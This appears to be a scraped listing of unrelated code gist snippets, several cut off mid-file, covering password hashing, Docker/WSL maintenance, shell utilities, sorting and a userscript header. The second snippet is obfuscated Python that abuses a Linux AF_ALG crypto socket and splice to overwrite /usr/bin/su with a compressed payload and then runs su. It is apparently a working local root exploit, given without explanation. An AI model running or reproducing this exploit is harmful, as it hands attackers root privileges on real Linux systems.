excludechars=\`
htpasswd -bnBC 10 "" $(pwgen -sncBy -r "$excludechars" 16 1 | tee /dev/tty | tr -d '\n') | tr -d ':'htpasswd -bnBC 10 ""-buse password from command line
| #!/usr/bin/env python3 | |
| import os as g,zlib,socket as s | |
| def d(x):return bytes.fromhex(x) | |
| def c(f,t,c): | |
| a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) | |
| try:u.recv(8+t) | |
| except:0 | |
| f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) | |
| while i<len(e):c(f,i,e[i:i+4]);i+=4 | |
| g.system("su") |
| # Script to shrink docker desktop data, a common issue at WSL 2 | |
| # Most of the script is generated with ChatGPT | |
| # Check if the script is running as administrator | |
| $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent() | |
| $adminRole = [Security.Principal.WindowsBuiltInRole]::Administrator | |
| $currentPrincipal = New-Object Security.Principal.WindowsPrincipal($currentUser) | |
| if (-not $currentPrincipal.IsInRole($adminRole)) { | |
| Write-Host "Requesting administrator privileges..." | |
| Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs |
| #!/bin/sh | |
| # helper script to download videos using termux and auto-indexing them | |
| # | |
| # required apps: | |
| # termux: https://f-droid.org/en/packages/com.termux/ | |
| # termux-api: https://f-droid.org/en/packages/com.termux.api/ | |
| # required packages | |
| # termux-api, python: apt install termux-api python python3 |
| #!/bin/bash | |
| currentYearMonth=$(date "+%Y-%m") | |
| echo "Ignoring files from $currentYearMonth" | |
| find . -maxdepth 1 -not -name "archive.sh" -print0 | while read -d $'\0' file | |
| do | |
| excludeDate=0 | |
| [[ "$file" =~ [0-9]{4}-[0-9]{2} ]] && excludeDate=1 |
| #!/bin/bash | |
| #--------------------------------------------------------------------------------# | |
| # # | |
| # Fix WSL DNS resolution with Cisco AnyConnect # | |
| # # | |
| # ! Don't forget to set this configuration in /etc/wsl.conf: # | |
| # [network] # | |
| # generateResolvConf = false # | |
| # # | |
| # Based on: # |
| # CREATES 100 notifications in your desktop, super dangerous script, beware | |
| from notifypy import Notify | |
| import threading | |
| ammount = 100 | |
| def notify(num): | |
| notification = Notify() | |
| notification.title = "Cool Title: " + str(num) |
| #include <iostream> | |
| #include <vector> | |
| #include "sortalgs.h" | |
| int main(int argc, char **argv) { | |
| std::vector<int> v = {1, 5, 2, 3, -3, -2, -1, 0, 3, 1}; | |
| sortalg<Bubble>::sort(v.begin(), v.end()); | |
| auto start = v.begin(); |
| var capitalByState = { | |
| 'MG': 'Belo Horizonte', | |
| 'PR': 'Curitiba', | |
| 'SP': 'São Paulo' | |
| } // Allocated only one time and the data isn't INSIDE the function | |
| // so 'capitalByState' can come from a external source! | |
| var States = {}; | |
| States.getCapitalCity = state => capitalByState[state] || 'Not Found'; // Again, allocated only one time, simulates static |
| // ==UserScript== | |
| // @name New Userscript | |
| // @namespace http://tampermonkey.net/ | |
| // @version 0.1 | |
| // @description try to take over the world! | |
| // @author You | |
| // @match *://*/* | |
| // @grant none | |
| // @require https://code.jquery.com/jquery-3.4.1.slim.min.js | |
| // ==/UserScript== |